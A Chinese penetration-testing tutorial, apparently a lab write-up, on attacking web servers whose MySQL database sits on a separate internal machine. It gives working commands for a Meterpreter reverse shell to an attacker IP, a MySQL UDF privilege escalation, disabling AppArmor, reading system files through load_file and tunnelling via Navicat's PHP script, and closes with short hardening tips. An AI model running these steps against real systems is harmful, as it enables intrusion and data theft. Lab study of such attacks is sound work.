站库分离这个词,听起来很高大上。对于平时搭建自己的博客、实验环境习惯了LAMP一体机的童鞋来说,确实有些生疏。这里写一篇文章总结一下。
本文篇幅较长,涉及到的知识点:CMS搭建网站、Navicat操作技巧、mysql udf
提权、禁用ubuntu apparmor
、站库分离实现、数据库命令操作。
现在的WEB网站,只要是动态网站,肯定会带有数据库。一般来讲我们搭建自己的博客、实验环境,无论是phpstudy
、Linux命令、LAMP
一键安装脚本、还是docker
,总之为了方便,将WEB服务、数据库和语言解析服务安装在一台机器上,俗称LAMP或者LNMP集成环境等等。
但是企业级别的架构,这么做很容易出现风险和漏洞,于是就有了站库分离的思想。将数据库甚至语言解析服务与WEB服务器分离开,单独安装在另一台服务器上,这个数据库服务器会部署在公网或者内网上。不过虽然看似很安全,但是如果稍有不慎,也是有风险的。
那么WEB服务器和数据库服务器是分开的,那么它们之间是如何建立的联系?
第一种情况,数据库服务器部署在公网。有用自己的服务器的,也有用云数据库的。只要是稍微大点的公司,基本上不会这么做。用自己的服务器还要再购买一个静态公网IP,成本高,风险大;用Amazon/阿里/腾讯/华为RDS等云数据库,不但要担心自己的数据泄露,而且总有一种寄人篱下之感,很不牢靠。
第二种情况比较常见,数据库服务器部署在内网中,这样成本低,减少受攻击面。
我经常提到,想要做渗透,一定要了解对方的架构和组织部署,有源码就审计,有产品版本就自己安装研究研究。这是最快熟悉目标的方式,也是为了渗透做一个初步了解和认知。这里来模拟一个数据库服务器建设在内网的环境。
WEB服务器:ubuntu18.04 + wordpress 边界机,双网卡(外网+内网)
数据库服务器:ubuntu18.04+Mysql 5.7(仅有内网网卡)
1、先加一块外网网卡安装数据库然后删掉就行。
apt update
apt install mysql-server -y #安装mysql-server
mysql --version #查看版本信息
systemctl status mysql #查看mysql状态
2、mysql开启外连。这里为了方便实验,就默认开启root
用户的外连了,企业级搭建不要轻易使用root
用户。
mysql_secure_installation #配置mysql的安全选项,开启root远程连接
mysql -u root -p 即可进入mysql
#mysql -u root 直接进入的原因是默认允许127.0.0.1直接链接。
mysql> grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;
mysql> flush privileges;
#注释掉127
vim /etc/mysql/mysql.conf.d/mysqld.conf
1、安装apache与php语言环境
apt update
apt install apache2 -y
service apache2 enable
apt install php php-curl php-gd php-xml php-mbstring php-xmlrpc php-zip php-soap php-intl php-mysql php-xsl php-zip libapache2-mod-php
systemctl restart apache2
2、安装wordpress:先在数据库服务器上新建一个wordpress
的库
3、下载wordpress:https://wordpress.org/download/#download-install,放入网站根目录后,修改权限为www-data
chown www-data:www-data -R wordpress
4、随后页面访问,注意这里填写成数据库服务器的对应信息。
5、随后输入相应的账号密码即可安装成功。
这个就比较常见了,我们常用的传统漏洞姿势:文件上传、反序列化、中间件CMS漏洞;还有漏洞结合getshell:文件包含、XSS配合RCE等等。总之拿到了webshell
之后,我们是有足够权限去查看网站的配置文件如config.php
等,从而查看到链接数据库的信息,紧接着根据信息收集进行下一步的利用。
1、假设通过漏洞写入了一个shell.php
,连接蚁剑。
2、可以通过查看配置文件,发现连接的数据库信息(强密弱密都能看到)从而我们也发现了一个内网环境。
3、MSF生成木马通过蚁剑上传,添加权限并运行上线。
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.31.84 lport=4444 -f elf -o shell.elf
msfconsole -x "handler -H 0.0.0.0 -P 4444 -p linux/x64/meterpreter/reverse_tcp"
chmod +x shell.elf
./shell.elf
4、建立路由和代理隧道
5、成功连接内网数据库服务器
6、进行数据库信息收集
select user();
select database();
show variables like '%version_%';
show variables like '%plugin%';
show variables like '%secure%';
7、这里想要让数据库服务器上线,可以利用udf
提权自定义函数进行命令执行,但是这种方式条件比较苛刻,尤其是在ubuntu
机器中,几乎不可能。为了试验成功,这里特意将ubuntu
配成可以使用udf
提权的环境:
vim /etc/mysql/mysql.conf.d/mysqld.conf #在mysqld下添加一句话如图
service mysql restart
chmod 777 /usr/lib/mysql/plugin
apparmor
ubuntu18.04
中内置了一个apparmor
,看这个名字就知道这是做应用护甲保护、限制应用行为的。这个apparmor
的存在,导致我们满足了上方两个条件也无法写入.so
文件和执行命令。
sudo aa-status #查看apparmor信息,有如图这行代码说明有限制
sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld
service mysql restart
8、好了,漏洞环境到此部署完毕,开始通过udf
提权来自定义函数从而使其上线,由于代码太长了,大家可以去国光博客的udf
查询复制:
https://www.sqlsec.com/tools/udf.html
最后提权结果是不是root
无所谓,这和数据库的版本有关系,我们只需要命令执行即可。
SELECT 0x7f4........0000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; --太长了,简写了
create function sys_eval returns string soname 'udf.so';
select sys_eval('whoami');
9、上传木马到边界机器,利用sys_eval
远程下载木马,因为内网数据库机器不出网,所以可以利用frp
、iox
、nps
等工具进行代理上线。因为篇幅~~(我懒)~~原因,这里就不再演示了。
丑话说在前:很难。
如果DB服务器部署在公网上,一般来说都会设置IP
白名单,也就是只有WEB服务器的IP才能连接数据库服务器,并且设置数据库密码为强密。
不过万一没有配置好呢?渗透有时候就是靠运气和捡漏,说好听点就是盲打,说高级点就是渗透测试Fuzz...
思路包括:弱口令暴力破解、数据库账密信息泄露、反编译等。
如果DB服务器部署在内网,只能通过别的手段进入内网再横向等。
通过上述思路获取到账密后,连接数据库,我们可以重点收集这些信息:
1、有时候我们的目标不是获取shell,就是为了拿特定数据。
2、定位WEB
端ip
地址。通过查询information_schema
库中的PROCESSLIST
可以查看当前 MYSQL 的连接情况。因为 web 应用会产生查询数据库操作,所以在回显出来的 host 字段中会带回目标的ip:port
。(这里的111.1
是我的物理机)
select * from information_schema.PROCESSLIST;
3、敏感信息遍历:利用load_file()
获取数据库所在服务器的信息,前提是开启读写权限并且mysql版本小于5.7。我这里是5.7.3
的,可以看到读取不了任何文件内容。
如果可以读取,可以读网卡信息,下面以centos7
的mysql
为例:
#获取网卡名称
/etc/udev/rules.d/70-persistent-net.rules
#静态IP
/etc/sysconfig/network-scripts/ifcfg-网卡
#DHCP
/var/lib/dhclient/dhclient--网卡.lease
说个题外话,就是关于Navicat的技巧:
背景:目标 MySQL 不允许外连,但是可以上传 PHP 脚本。
这时候就可以用Navicat
安装目录下自带的脚本:ntunnel_mysql.php
上传后访问这个文件,输入相关的账号密码数据库信息
再次使用Navicat
,选择http
代理
随后将连接设置改为localhost
即可连接
试想一下,平时运维可以这么做,不用非要每次改库都更改数据库配置了;
对于渗透测试来说,类似于neo-reGeorge
的功能,直接开启一个代理。
所以当目标网站不允许外连数据库,但是可以上传文件时,就可以用这个方法,同时也适用于站库分离。
我相信,到这里我不说大家也应该基本会了。
WEB漏洞打点getshell
查看配置文件进而继续利用。
数据库爆破、信息泄露、反编译利用,重点收集WEB端连接的ip等。
实验环境记得关闭apparmor
,否则udf
提权无法生产环境千万不要关闭。
针对WEB服务器:做好各种漏洞的防御,具体不说了
针对DB服务器:
尽量不要部署在公网之上。
开启外连所用的账号,不要用root
,同时使用强密码。
数据库配置ip
白名单,仅允许WEB
服务器连接。